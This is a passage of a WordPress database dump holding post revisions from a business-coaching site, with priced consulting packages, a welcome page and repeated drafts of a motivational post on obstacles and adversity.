a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a defined structure, we jam on your best thinking, and develop ideas and a plan to move you closer to the results you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting ', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-03-11 11:11:02', '2010-03-11 18:11:02', '', 138, 'http://www.whitehotcenter.com/2010/03/11/138-revision-53/', 0, 'revision', '', 0),
(707, 2, '2010-03-11 11:42:32', '2010-03-11 18:42:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Success in business and in life is a process, not an event. It''s an on-going, always growing life enhancing activity. Whatever metrics you use to determine your success, the most useful definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. With that in mind, here are some benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the higher fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business and personal growth that will inspire you and give you more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise in product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It is my intention this blog will serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></h2>\r\nI’ll be sharing my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey. I wish you continued success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-03-11 11:42:32', '2010-03-11 18:42:32', '', 172, 'http://www.whitehotcenter.com/2010/03/11/172-revision-59/', 0, 'revision', '', 0),
(708, 2, '2010-03-11 11:17:00', '2010-03-11 18:17:00', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the foundation of my point of view on creating a life of significance and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create more value for customers and clients, resulting in greater business development success. The outcome is to gain a deeper insight and clarity around the strategic issues facing your business and personal growth. I provide guidance to develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a defined structure, we jam on your best thinking, and develop ideas and a plan to move you closer to the results you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting ', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-03-11 11:17:00', '2010-03-11 18:17:00', '', 138, 'http://www.whitehotcenter.com/2010/03/11/138-revision-54/', 0, 'revision', '', 0),
(714, 2, '2010-04-10 12:38:34', '2010-04-10 19:38:34', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. Knowing you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\r\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'publish', 'open', 'open', '', 'obstacles-and-adversity-raw-materials-for-business-and-life-success', '', '\nhttp://www.whitehotcenter.com/2007/09/25/hitting-a-brick-wall/', '2010-12-27 16:14:11', '2010-12-27 23:14:11', '', 0, 'http://www.whitehotcenter.com/?p=714', 0, 'post', '', 0),
(715, 2, '2010-04-10 12:13:46', '2010-04-10 19:13:46', '', 'obstacle', 0, '', 'inherit', 'open', 'open', '', 'obstacle', '', '', '2010-04-10 12:13:46', '2010-04-10 19:13:46', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/04/obstacle.gif', 0, 'attachment', 'image/gif', 0),
(716, 2, '2010-04-10 12:19:00', '2010-04-10 19:19:00', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="250" height="365" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be overwhelming. Many times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you.</h2>\nEvery entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\n\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\n\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\n\n<strong>Obstacles and adversities are master teachers.</strong>\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\n\n<strong>Obstacles and adversities are rocket fuel.</strong>\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\n\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\n\n<strong>Obstacles and adversities are opportunities to create new value.</strong>As an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with a forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and comprtition-proof your business..\n<h2>Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</h2>\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\n\nPS I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: The raw materials for success.', 0, '', 'inherit', 'open', 'open', '', '714-revision', '', '', '2010-04-10 12:19:00', '2010-04-10 19:19:00', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision/', 0, 'revision', '', 0),
(717, 2, '2010-04-10 12:20:01', '2010-04-10 19:20:01', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="250" height="365" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be overwhelming. Many times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you.</h2>\nEvery entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\n\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\n\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\n\n<strong>Obstacles and adversities are master teachers.</strong>\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\n\n<strong>Obstacles and adversities are rocket fuel.</strong>\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\n\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\n\n<strong>Obstacles and adversities are opportunities to create new value.</strong>As an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with a forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and comprtition-proof your business..\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\n\nPS I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: The raw materials for success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-2', '', '', '2010-04-10 12:20:01', '2010-04-10 19:20:01', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-2/', 0, 'revision', '', 0),
(718, 2, '2010-04-10 12:23:02', '2010-04-10 19:23:02', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be overwhelming. Many times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you.</h2>\r\nEvery entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>As an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with a forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and comprtition-proof your business..\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: The raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-3', '', '', '2010-04-10 12:23:02', '2010-04-10 19:23:02', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-3/', 0, 'revision', '', 0);
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(719, 2, '2010-04-10 12:24:02', '2010-04-10 19:24:02', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be overwhelming. Many times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you.</h2>\r\nEvery entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>As an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with a forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and comprtition-proof your business..\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-4', '', '', '2010-04-10 12:24:02', '2010-04-10 19:24:02', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-4/', 0, 'revision', '', 0),
(721, 2, '2010-04-10 12:34:25', '2010-04-10 19:34:25', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\n\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\n\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\n\n<strong>Obstacles and adversities are master teachers.</strong>\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your 